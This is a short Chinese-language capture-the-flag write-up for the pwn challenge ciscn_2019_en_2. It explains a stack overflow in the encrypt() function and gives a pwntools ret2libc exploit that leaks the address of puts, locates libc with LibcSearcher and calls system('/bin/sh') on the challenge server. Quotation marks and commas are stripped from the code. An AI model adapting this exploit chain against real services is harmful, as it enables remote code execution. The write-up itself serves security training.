检查一下拖入ida查看这是一个加密装置在main函数中没有发现明显漏洞进入encrypt()函数中查看第10行明显的溢出然后也是没有发现system函数和/bin/sh啊简单的libc,不多赘述了,但是要进入加密函数,前面有个begin的选择,记得要提前传入1还有一个就是需要在偏移前加上\0,防止我们的payload被加密程序的异或给破坏直接写expfrom pwn import * from LibcSearcher import * context(arch amd64,os linux,log_level debug) io remote(node5.buuoj.cn,26194) elf ELF(./ciscn_2019_en_2) offset 0x508 puts_plt_addr elf.plt[puts] puts_got_addr elf.got[puts] main_addr 0x400b28 rdi_addr 0x400c83 ret_addr 0x4006b9 payload1 cyclic(offset) p64(rdi_addr) p64(puts_got_addr) p64(puts_plt_addr) p64(main_addr) io.sendlineafter(Input your choice!,1) io.sendlineafter(Input your Plaintext to be encrypted,payload1) puts_addr u64(io.recvuntil(\x7f)[-6:].ljust(8,b\x00)) libc LibcSearcher(puts,puts_addr) libc_base puts_addr - libc.dump(puts) system_addr libc_base libc.dump(system) bin_sh_addr libc_base libc.dump(str_bin_sh) payload2 cyclic(offset) p64(rdi_addr) p64(bin_sh_addr) p64(ret_addr) p64(system_addr) io.sendlineafter(Input your choice!,1) io.sendlineafter(Input your Plaintext to be encrypted,payload2) io.interactive()最后成功获得flag